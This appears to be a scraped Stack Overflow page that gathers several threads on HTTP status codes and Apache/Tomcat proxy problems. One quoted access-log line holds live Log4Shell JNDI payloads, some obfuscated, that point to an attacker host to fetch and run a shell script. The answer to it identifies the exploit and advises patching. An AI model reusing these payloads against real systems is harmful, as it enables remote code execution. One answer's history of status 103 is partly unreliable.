We have a Tomcat 7 running behind an Apache2 Server, connected via AJP.
Some AJAX-Requests we receive at the Tomcat do not contain any request Parameters.
This applies to GET and to POST requests as well.
Inspecting the Apache access_log the requests were all answered with a HTTP Status Code of 103:
IP - - [SNIP] "POST /redacted/ticket/1234567 HTTP/1.1" 103 655 "https://redactedhost.com/redacted/ticket/1234567" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)"
I can't figure where this Status Code comes from. Has anybody ever heard of it? As far as I have examined it is not a Custom Response from our Application and it is not defined in our Tomcat or Apache configuration.
HTTP 103 has been approved as status code for indicating hints to client.
More details here IETF
Official IANA Registry [1] says that code 103 is unassigned.
Some googling finds "103 Checkpoint" from "Resumable HTTP Requests Proposal" [2] [3] (I don't know whether that document in [3] is up-to-date, it is just from first page of search results. Usually such proposals should go further as an IETF draft). Note that it is not official, and response code 308 from [3] has already been assigned for different purpose by RFC 7538 [1].
As far as I have examined it is not a Custom Response from our Application
If it is not in plain view, it may be one of filters that you are using. Look through your libraries. You may try running with a debugger.
Do you see that response code at Apache HTTPD side only, or in Tomcat access log as well?
The Status Code 103 was an "unofficial" implementation which ended up in some (very few) products/software source codes, reason why people stumbled upon it in (rare) occasions.
History tells that the Status Code 103 was planned to respond when the request was installation/implementation dependent, which means its should appear when something (required) was missing or faulty in the Server installation or Network.
The message "Access denied while creating Web Service" was originally intended for the Status Code 103, but only few implementations used it. There were also cases it was simply translated as "Checkpoint".
For a while those messages made little to no sense, and the Status Code 103 was kept listed as "unofficial", until when it was deprecated even before becoming official, which happened some point in time around 2012.
However, in December 20, 2017, suggested by K. Oku, the IETF (Internet Engineering Task Force) retrieved and reset the Status Code 103 from "Deprecated" to "Experimental", retrofitting it as "Early Hints", as it has been listed in the RFC 8297.
You can read more its new purpose and utilization here: An HTTP Status Code for Indicating Hints
In 2018 The Status Code 103 was officially listed in the IANA HTTP Registry, even before being set as official by the IETF. Based on that, the odds are that the new meaning of the Status Code 103 should be safe to use and soon enough it shall became "official" by the IETF too. That is how it has been happening for a long time for other Status Codes.
I must express my appreciation and thank Ujjwal Gulecha for taking the time to bring this information forward on an old thread. It helps a lot keeping the information up-to-date in Stack Overflow when something in the industry change and affect the answers provided. Good job, bother!
Related
I see this entry in my apache access log, is anyone having an Idea what does it mean?
195.54.160.149 - - [24/Dec/2021:17:30:03 +0000] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8xMzkuNTkuMzcuMjQ0OjQ0M3x8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8xMzkuNTkuMzcuMjQ0OjQ0Myl8YmFzaA==} HTTP/1.1" 200 10937 "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8xMzkuNTkuMzcuMjQ0OjQ0M3x8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8xMzkuNTkuMzcuMjQ0OjQ0Myl8YmFzaA==}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8xMzkuNTkuMzcuMjQ0OjQ0M3x8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8xMzkuNTkuMzcuMjQ0OjQ0Myl8YmFzaA==}"
This is an exploit for the recent Log4j vulnerability. If you use Log4j anywhere you should ensure it is updated immediately. Otherwise, it's safe to disregard the attacks.
There is currently mass exploitation of this issue, so you will undoubtedly see these requests for a long time to come.
Background
We have been running an application on JBoss that is exposed to the clients via an Apache Reverse Proxy. We recently introduced "HTTP 429 Too many requests" to slow down high velocity requests.
Problem
However, it seems that apache2 changes the HTTP status code from 429 to 500.
Root cause analysis
Confirmed from JBoss that it sends HTTP 429, by bypassing the proxy, and talking to it directly.
Confirmed from /var/log/apache2/access.log, that apache2 gets HTTP 429
10.0.0.161 - - [16/Jul/2014:07:27:47 +0000] "POST /the/URL/ HTTP/1.1" 429 1018 "-" "curl/7.36.0" |0/466110|
Curl Client gets 500, somehow.
There's also been a bug filed few years back on Bugzilla #900827. I remember reading that it has been fixed in 2.2.18. Yet, I still face the problem -- which leads me to think there's probably a different problem altogether.
Questions
As I have read elsewhere, Apache might not relay the code perfectly for custom HTTP status codes. But isn't HTTP 429 as a part of additional HTTP status codes RFC, a standard code enough to be recognised and relayed?
Is there something crucial that I am missing here?
PS: Since this question is more about HTTP status spec, I asked here. If the community feels its more about apache, please feel free to vote to move the question to Server Fault.
I just stumbled upon your question because i was once again researching a similar problem, where our Apache Reverse Proxy returned a 500 status code on an ActiveSync Response 449.
I also found the Bugzilla entry you mentioned and the statments that it should have been fixed with version 2.2.18, however we use 2.2.22 and still faced the problem.
After further reading into the comments in the Bugzilla entry which then lead to the apache bug entry #44995. Reading these comments, especially the last one lead me to the believe that the issue, especially with custom error codes without status message has not been fixed in any 2.2.x versions but is included in 2.3/2.4
So we moved on and updated our reverse proxy to a 2.4 version, and to our surprise the error code 449 was correctly passed over by the proxy.
As you didnt mentioned your apache2 version used, i can only guess that an update to 2.4 or 2.3 might be a possible solution for you.
The similar problem is described here: GWT IllegalArgumentException: encodedRequest cannot be empty
My GWT application is deployed in Tomcat6, which is linked with Apache by using Coyote/JK2 connectors. For SSO I use the mod_auth_sspi/1.0.4.
When I use IE8, pages is not displayed, but for Firefox everything OK. In Tomcat logs I see the following:
SEVERE: Exception while dispatching incoming RPC call
java.lang.IllegalArgumentException: encodedRequest cannot be empty
at com.google.gwt.user.server.rpc.RPC.decodeRequest(RPC.java:232)
at org.spring4gwt.server.SpringGwtRemoteServiceServlet.processCall(SpringGwtRemoteServiceServlet.java:32)
at com.google.gwt.user.server.rpc.RemoteServiceServlet.processPost(RemoteServiceServlet.java:248)
at com.google.gwt.user.server.rpc.AbstractRemoteServiceServlet.doPost(AbstractRemoteServiceServlet.java:62)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:643)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:723)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:290)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206)
at gov.department.it.server.RequestInterceptorFilter.doFilter(RequestInterceptorFilter.java:90)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:235)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206)
at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:233)
at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:191)
at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:127)
at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:103)
at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:109)
at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:293)
at org.apache.jk.server.JkCoyoteHandler.invoke(JkCoyoteHandler.java:190)
at org.apache.jk.common.HandlerRequest.invoke(HandlerRequest.java:311)
at org.apache.jk.common.ChannelSocket.invoke(ChannelSocket.java:776)
at org.apache.jk.common.ChannelSocket.processConnection(ChannelSocket.java:705)
at org.apache.jk.common.ChannelSocket$SocketConnection.runIt(ChannelSocket.java:898)
at org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run(ThreadPool.java:690)
at java.lang.Thread.run(Thread.java:619)
What have I tried so far:
1) Can't find the registry key DisableNTLMPreAuth (IMHO it's not the solution, because in my case IE 8 is actively used).
2) I have installed and configured the Native Windows Authentication Framework WAFFLE
web.xml:
...
<filter>
<filter-name>NegotiateSecurityFilter</filter-name>
<filter-class>waffle.servlet.NegotiateSecurityFilter</filter-class>
<init-param>
<param-name>waffle.servlet.spi.NegotiateSecurityFilterProvider/protocols</param-name>
<param-value>NTLM</param-value>
</init-param>
</filter>
...
<filter-mapping>
<filter-name>NegotiateSecurityFilter</filter-name>
<url-pattern>/my-app/*</url-pattern>
</filter-mapping>
...
But it did not help.
3) In worker.properties I set socket_keepalive=0, but it did not help too -
worker.ajp13.type=ajp13
worker.ajp13.host=localhost
worker.ajp13.port=8009
worker.ajp13.lbfactor=50
worker.ajp13.cachesize=10
worker.ajp13.cache_timeout=600
worker.ajp13.socket_keepalive=0
worker.ajp13.socket_timeout=300
What else can I try to do?
You have rediscovered the 7 year old bug #1 in mod_auth_sspi which has affected numerous projects, frustrated numerous developers, and caused uncountable wasted man-hours over the years. Yet it still stands unresolved because the maintainer doesn't consider it a bug. Nor has it been addressed by Microsoft for older browsers, because indications are that IE9 doesn't have this problem.
Cause
It is caused by IE trying to be 'smart' and sending a zero content-length POST (I named it 0POST to try making it an indexable term to benefit those who rediscover it in the next 7 years.) with an NTLM auth header in anticipation of being challenged by the server. IE does this when it has been authenticated before in that protection space. So it knows that it will be challenged again. Sadly mod_auth_sspi is not as smart as IE, so bad things happen on the server side when a 0POST arrives and it is let through to the apps without being challenged. Except that sometimes this can happen even for unprotected areas, if they are under an area that requires authentication.
Other browsers don't pretend to be as smart as IE and don't try to save a few bytes on the first round trip for "performance", so they don't run into this problem. Here is Microsoft's explanation of this behavior.
Horrible Workaround
In Apache httpd.conf set
SSPIPerRequestAuth On
This is equivalent to the DisableNTLMPreAuth IE client-side fix you mentioned, which is impractical for a large user group. Plus it amounts to crippling all non-Apache apps also, which may be capable of handling a 0POST. There are literally NO examples of this setting being discussed or its side effects explained on the web, so I am including this only link I found that sheds some light on it. Anyway, making one server side change seems to be the lesser of the two evils. Although now, by changing the server config, you have crippled all other innocent browsers visiting this site as well.
The problem with this workaround is that it forces EVERY request to perform an SSPI handshake which results in a lot of extra 401 traffic and can affect performance. For performance, NTLM authentication is treated as 'session-based' not 'request-based' which means that the handshake occurs only at the start of the session. When using this setting, you should also set filters to prevent your log filling up with 401s. Also note that this requires KeepAlive to be turned on.
I am not sure your setup is the same as the one described in the WAFFLE fix; were they using Apache like you? I think WAFFLE applies to Tomcat, whereas you have Apache in front, so Apache is handling authentication. You might consider using that setup instead of Apache. If you can use that setup, it may be a better option than this workaround because WAFFLE has explicitly accounted for 0POST and can handle it. The author had also discovered this gem while working with GWT like you.
Interestingly, for jcifs, a fix for this very issue was posted 9 Years ago. The author also provided an excellent explanation later:
The code in the filter examines all HTTP POST requests and determines
if they contain an NTLM type 1 message. If the request contains an
NTLM type 1 message, the filter responds with a dummy type 2 message
to entertain IE's desire to re-negotiate NTLM prior to submitting any
POST data. The browser should then respond with an NTLM type 3
message along with the post data which the filter should then allow to
chain to the rest of the web application.
A simple patch was also created for mod_auth_sspi 5 years ago, if you are interested. See diff in the author's own repo. I am not sure if I agree with that approach though. It tries to detect IE/0POST, whereas I think the right fix should be to detect if the client is requesting auth with a NTLM Type 1 header, as in the jcifs filter. (Type 1 simply means that it is the first message of the handshake)
I wonder if anyone has used alternatives to mod_auth_sspi like mod_auth_ntlm_winbind and if they don't exhibit this behavior. If you have, please leave a comment. We already know WAFFLE works, but it is not a mod_auth_sspi replacement.
One alternative is to forget NTLM and use Kerberos, (mod_auth_kerb) but many people find that too complicated to setup. IE will behave this way on any challenge-response scheme, so odds are that kerb auth could run into the same problem, since a similar 401 sequence happens in both cases. But being a different module, its possible it is capable of handling this.
Lastly, I should mention that there is yet another issue that this per-request auth workaround doesn't seem to fix. I haven't seen it discussed anywhere, but I have found that sometimes after the 0POST, the server waits for a very long time before it responds with the final 200 response with the results of the (proper) POST. This long delay happens only in the end though, NOT immediately in response to the 0POST. That goes fine, and the handshake completes, but the server doesn't respond until after a long wait which I have noticed is suspiciously close to 90 seconds, like some sort of timeout. The practical result of this is that when users log in, IE8 will sometimes hang for 90sec waiting for server response. I thought the KeepAlive might be causing it, but it is not even explicitly defined in my config, so I assume it is at the 15sec Apache default. But I am sure this is related to the 0POST, because it happens only right after a successful 0POST auth handshake. Our server is in a separate (2-way) trusted domain across a firewall, so maybe that has something to do with it.
Diverse Examples of This Issue
https://confluence.atlassian.com/display/JIRAKB/NullPointerException+when+Authenticating+from+IE
http://trac.edgewall.org/ticket/2696
http://trac.edgewall.org/ticket/4560
https://drupal.org/node/82530
http://www.webmasterworld.com/apache/3087425.htm
Why "Content-Length: 0" in POST requests?
https://jira.springsource.org/browse/SEC-1087
The most hilarious example is how IE's smartness affected Microsoft's own products! They themselves couldn't understand how to deal with IE's behavior, causing a bug in ISA Server 2006.
http://support.microsoft.com/kb/942638
I have a WCF service that among other bindings also uses WebHttpBinding for JSON inputs/results.
I made a custom IErrorHandler implementation in order to be able to set the StatusCode to 400 when something goes wrong and also return a JSON understandable message. It´s the straight implementation that you can find everywhere (nice way described here).
My problem is: when I test it locally using Visual Studio Web Development Server (Cassini) it works perfectly. However, when I deploy it to my test server (Windows 2008 with standard config for IIS and everything else) it does not work.
When I call it and debug with Firebug I get a HttpStatusCode 200 as a return and no response text. With Fiddler I get a HttpStatusCode 504 and no return at all. However, the behavior I expected (and what happens locally) is a call to the error callback of the ajax call with the responseText set.
I debugged it remotely and everything looks just fine. The execution pipeline is OK and all the classes are called as they should be just like they are locally, except it does not work.
Any suggestions? I´m pretty much out of options here to figure this out.
Thanks a lot!
if firebug and fiddler are giving different results, what happens if you telnet to it directly and perform a request (Something like:)
GET /VirtualDirectoryAndGetData HTTP/1.1
HOST: example.com
[carriage return]
It wouldn't surprise me if you're somehow getting odd headers/formatting back (to explain why firebug/fiddler disagree)
Another thing to test would be publishing to your dev machine to see if it's a machine-specific issue or a server vs dev webserver issue.
If it's happening anywhere outside VS, you might also try commenting out the lines where you set
rmp.StatusCode = System.Net.HttpStatusCode.BadRequest;
rmp.StatusDescription = "Bad request";
This may indicate whether it's a response code issue or an error handler issue.
If you can edit your question to include the results (with sensitive info removed), we'll see if we can track it down further.
Edit: after looking at the question again, it may well be that the server is erroring before it can send ANY response. FF might assume 200 by default, whereas ie might assume 504 (Gateway Timeout). This is total speculation but is possible. Do you see anything in the event logs?
I had a similar issue which I was able to solve. Take a look at the IIS settings. Details on how I overcame the issue are in this post: IErrorHandler returning wrong message body when HTTP status code is 401 Unauthorized
If you have to take a site down for some type of unavoidable maintenance task (and it's not a big enough site that you have a backup server), what HTTP status code should you have your server return to minimize the possibility that search engines will think the site is gone?
I found this list of status codes from W3C, of which the following seem applicable:
503 Service Unavailable
500 Internal Server Error
408 Timeout
404 Not Found
I think 503 is the most appropriate, but I don't know what search engines might prefer.
From the horse's mouth:
If my site is down for maintenance, how can I tell Googlebot to come back later rather than to index the "down for maintenance" page?
You should configure your server to return a status of 503 (network unavailable) rather than 200 (successful). That lets Googlebot know to try the pages again later.
Don't send a 404 -- they may remove you from their index.
I'd probably send a 503 and an appropriate Retry-After, although I don't know if anything actually uses the header.
According to Google the 503 code would be the way to go, since it means "the server is temporarily unavailable."
Also check out the W3C page on the same.